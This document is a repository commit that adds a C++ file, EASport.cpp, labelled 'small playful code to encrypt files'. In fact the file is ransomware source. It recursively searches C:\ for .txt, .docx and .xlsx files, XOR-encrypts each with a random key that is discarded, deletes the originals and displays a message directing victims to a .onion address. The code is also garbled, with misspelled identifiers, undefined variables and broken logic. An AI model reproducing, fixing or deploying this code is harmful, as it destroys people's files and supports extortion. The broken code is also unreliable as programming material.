Add files via upload

Small playful code to encrypt files

Author: foolishviper

EASport.cpp

@@ -0,0 +1,113 @@
+#include <iostream>
+#include <fstream>
+#include <vector>
+#include <string>
+#include <sstream>
+#include <bitset>
+#include <windows.h>
+#include <algorithm>
+#include <filesystem>
+#include <thread>
+#include <random>
+#include <chrono>
+
+namespace fs = std::filesystem;
+
+bool hasValidExtension(const std::wstring& fileName){
+	std::wstring lowerFileName =fileName;
+	std::transform(lowerFileName.began(),lowerFileName.end(),lowerFileName.length(), ::tolower);
+	return (lowerFileName.substr(lowerFileName. length() - 4) == L".txt" ||
+		    lowerFileName.substr(lowerFileName. length() - 4) == L".docx"||
+		    lowerFileName.substr(lowerFileName. length() - 4) == L".xlsx"); //Although this does not encrypts the excel sheet
+}
+
+void findFiles(const std::wstring& directory, std::std::vector<std::wstring>& filepaths){
+	ty{
+		for(const auto& entry : fs::recursive_directory_iterator(directory)){
+			if (fs::is_regular_file(entry.status())){
+				const std::wstring fileName = entry.path().wstring();
+				if (hasValidExtension(fileName)){
+					std::wcout << L"Found a valid fileName" << fileName << std::endl;
+					filepaths.push_back(fileName);
+				}
+			}
+		}
+	}
+	catch(const	fs:filesystem_error& e){
+		std::wcerr << L"Error: Unable to access directory" << directory << L" - " << e.what() << std::endl;
+	}
+}
+
+std::vector<unsigned char> generateRandomKey(size_t keysize =32)
+{
+	std::vector <unsigned char> key(keysize);
+	std:random_device rd;
+	std:uniform_init_distribution<> dis(0, 255);
+	for (auto& byte : key){
+		byte = dis(rd);
+	}
+	return key;
+}
+
+std::vector<unsigned char> generateRandomBytes(){
+	std::vector<unsigned char> randombytes(8);
+	std::random_device	rd;
+	std:uniform_init_distribution<> dis(0, 255);
+	for (auto& byte : randombytes){
+		byte = dis(rd);
+	}
+	return randombytes;
+}
+
+void encryptFile(const std::wstring& filepath){
+	std::ifstream inputFile(filepath, std::ios::binary);
+	if(!inputFile){
+		std::wcerr << L"Error: Could not open file" << filepath << std::endl;
+		return;
+	}
+	std::vector<unsigned char> fileData((std::istreambuf_iterator<char>(inputFile)), std::istreambuf_iterator<char>());
+	inputFile.close();
+
+	std::vector<unsigned char> key =  generateRandomKey(32);
+	for (size_t i = 0; i < fileData.size(); ++i){
+		fileData[i] ^=key [i % key.size()];
+	}
+	std::wstring encryptFilePath = filepath + L ".enc";
+	std::ofstream outputFile(encryptFilePath, std::ios::binary);
+	if(!outputFile){
+		std::wcerr << L"Error: Could not create encrypted file" << encryptedFilePath << std::endl;
+		return;
+	}
+	outputFile.write(reinterpret_cast<char*>(randomBytes.data()), randomBytes.size());
+	outputFile.close();
+
+	if (DeleteFile(filepath.c_str())){
+
+	}
+	else{
+		std::wcerr << L"Error: Could not delete file" << filepath << std::endl;
+	}
+}
+
+void showCompletionMessage(){
+	MessageBoxW(NULL,L"!!Files has been encryped. Please visit https://ashdfgjkhfkdahfkjafh2344jkdsy79.onion to fetch the decrypted files!!",L"!",MB_OK | MB_ICONINFORMATION);
+}
+int main(){
+std::vector<std::wstring>directories = {L"C:\\"};
+std::vector<std::wstring> filepaths;
+for(const auto& directory: directories){
+	findFiles(directory, filepaths);
+}
+std::vector<std::thread>threads;
+
+for(const auto& filepath : filepath){
+	threads.push_back(std::thread(encryptFile, filepath));
+}
+for (auto& t :threads){
+	if(t.joinable()){
+		t.join();
+	}
+}
+showCompletionMessage();
+return 0;
+}